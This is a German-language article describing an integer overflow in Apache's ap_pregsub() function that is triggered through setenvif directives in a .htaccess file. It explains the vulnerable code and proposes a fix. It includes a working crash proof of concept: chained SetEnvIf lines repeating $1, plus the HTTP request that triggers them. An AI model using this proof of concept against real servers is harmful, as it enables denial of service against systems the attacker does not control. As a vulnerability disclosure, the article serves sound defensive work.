Eine Sicherheitslücke im Apache Webserver hat zur Folge, dass ein lokaler Angreifer den Server zum Absturz bringen oder Befehle mit Server-Rechten ausführen kann. Ursache ist ein Integer Overflow, der im Zusammenspiel mit dem Modul “setenvif” und einer geschickt konstruierten “.htaccess”-Datei auftritt.
Der Integer Overflow tritt in der Funktion “ap_pregsub()” auf, die in der Datei “server/util.c” zu finden ist. Diese Datei enthält verschiedene Funktionen zum Verarbeiten von Strings, wobei die “ap_pregsub()” dafür zuständig ist, durch “ap_regexec()” gefundene Substrings zu ersetzen. Sie liefert dann den so modifzierten String zurück. Die Funktion “ap_regexec()” wird beispielsweise auch vom Apache-Modul “setenvif” zum Pattern Matching/Substituieren verwendet.
Das “setenvif”-Modul ermöglicht es, Umgebungsvariablen basierend auf einer HTTP-Anfrage zu setzen, wobei der HTTP-Header auf Muster abgesucht werden kann. Durch Auslesen dieser Umgebungsvariablen können andere Teile des Webservers gezielt auf bestimmte Anfragen reagieren. So kann beispielsweise untersucht werden, von welchem Browser die Anfrage kam, wie im folgenden Beispiel:
BrowserMatch ^Mozilla forms jpeg=yes browser=netscape BrowserMatch "^Mozilla/[2-3]" tables agif frames javascript BrowserMatch MSIE !javascript
“jpeg” und “browser” sind hier Umgebungsvariable, die bei einem Mozilla-Browser-Match gesetzt werden. Die hier verwendete Direktive “BrowserMatch” ist genauso wie die verwandte “BrowserMatchNoCase” ein Spezialfall der allgemeineren “SetEnvIf”- und “SetEnvIfNoCase”-Anweisungen, die Umgebungsvariablen basierend auf erkannten Mustern setzen. Solche “SetEnvIf”-Anweisungen lassen sich auch in “.htaccess”-Dateien einbauen, um eine flexible verzeichnisbasierte Zugangskontrolle zu realisieren, wie in folgendem Beispiel:
SetEnvIfNoCase ^HOST$ .+ HTTP_MY_HAS_HOST Order Deny,Allow Deny from All Allow from env=HTTP_MY_HAS_HOST
Der allgemeine Aufbau einer “SetEnvIf-Direktive” ist dabei folgender:
SetEnvIf attribute regex env-variable[=value] [env-variable[=value]]
Dabei kann “attribute” ein beliebiges HTTP-Header-Attribut wie “Remote_Host” oder “Remote_Addr” sein, und “regex” ein anzuwendender regulärer Ausruck. Am Ende wird dann eine Umgebungsvariable gesetzt. In obigem “.htaccess”-Beispiel wurde eine “SetEnvifNoCase”-Direktive verwendet, um nur solche Hosts zuzulassen, die im Header das “HOST”-Feld gesetzt haben. Auch komplexere Anweisungen sind möglich, beispielsweise:
SetEnvIf MyRequest "^(.*)$" TestVar=$1
Dies würde der Umgebungs-Variable den Wert des “MyRequest”-Eintrages im HTTP-Header zuordnen. Dabei ist es auch möglich, diesen Wert zu duplizieren:
SetEnvIf MyRequest "^(.*)$" TestVar=$1$1$1...
Intern wird dabei die Funktion “ap_pregsub()” aufgerufen, um Speicher für “TestVar” zu allozieren und den so bereitgestellten Puffer mit den entsprechenden Daten zu füllen. Dabei gibt es jedoch ein Problem, wie ein genauerer Blick auf diese Funktion verrät:
AP_DECLARE(char *) ap_pregsub(apr_pool_t *p, const char *input, const char *source, size_t nmatch, ap_regmatch_t pmatch[])
{ ... int len; ... else if (no < nmatch && pmatch[no].rm_so < pmatch[no].rm_eo) { len += pmatch[no].rm_eo - pmatch[no].rm_so; } ... dest = dst = apr_pcalloc(p, len + 1); ...
}
Am Ende dieser Funktion wird der benötigte Speicher mit “apr_pcalloc()” alloziert, wobei eine Speichergröße von “len + 1” verlangt wird. “len” wird zuvor basierend auf der Länge der Daten sukzessive berechnet, wobei die Länge der gematchten “$1” aufsummiert wird. Das sieht soweit korrekt aus, denn wenn wir “$1$1$1” schreiben, soll drei mal der Speicher der Länge von $1 alloziert werden. Allerdings handelt es sich bei “len” um eine Integer-Variable, die bei sehr vielen Duplikaten zum Überlauf gebracht werden kann. Damit wird der len-Wert falsch, und “apr_pcalloc()” alloziert eine falsche Puffergröße. Beim anschließende Kopieren der Daten in diesen Puffer kann es zu einem Overflow kommen, der meist zum Absturz des Servers führt; das Ausführen von Befehlen erfordert etwas mehr Aufwand.
Ein Absturz des Servers ist mit der folgenden “.htaccess”-Datei möglich:
SetEnvIf MyRequest "^(.*)$" TestVar=$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$10123456789abcde SetEnvIf TestVar "^(.*)$" Test2Var=$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$10123456789abcdef0123456789abcdef0123456789abc SetEnvIf Test2Var "^(.*)$" Test3Var=$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1 SetEnvIf Test3Var "^(.*)$" Test4Var=S$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1
Hier werden einfach sehr viele Duplikate in die Umgebungsvariable geschrieben, so dass ein HTTP-Header der folgenden Art den Server aufgrund des Integer-Überlaufs zum Absturz bringt.
GET /test/file HTTP/1.1 Host: localhost MyRequest: 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF Connection: close
Dieser Integer-Overflow lässt sich auf verschiedene Arten beheben. Eine Möglichkeit sieht so aus:
oldlen=len=0
else if (no < nmatch && pmatch[no].rm_so < pmatch[no].rm_eo) { len += pmatch[no].rm_eo - pmatch[no].rm_so;
// Return NULL on error if(len<oldlen) return(NULL);
}
Das verhindert den Überlauf, indem in diesem Fall einfach ein NULL-Zeiger zurückgeliefert wird.
Betroffen sind alle Apache-Versionen vor 2.2.20.

